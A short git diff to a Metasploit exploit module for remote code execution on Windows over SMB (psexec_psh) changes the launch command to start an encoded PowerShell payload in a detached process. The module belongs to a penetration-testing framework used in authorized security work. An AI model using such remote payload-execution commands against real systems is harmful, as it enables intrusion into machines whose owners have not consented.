diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb
index 99dc381775..666181292e 100644
--- a/modules/exploits/windows/smb/psexec_psh.rb
+++ b/modules/exploits/windows/smb/psexec_psh.rb
@@ -270,6 +270,6 @@ class Metasploit3 < Msf::Exploit::Remote
     psh_payload = compress_script(psh_payload)
     # Determine appropriate architecture
     ps_bin = datastore['RUN_WOW64'] ? '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
-    command = "%COMSPEC% /C #{ps_bin} -EncodedCommand #{psh_payload}"
+    command = "%COMSPEC% /C start #{ps_bin} -EncodedCommand #{psh_payload}"
   end
 end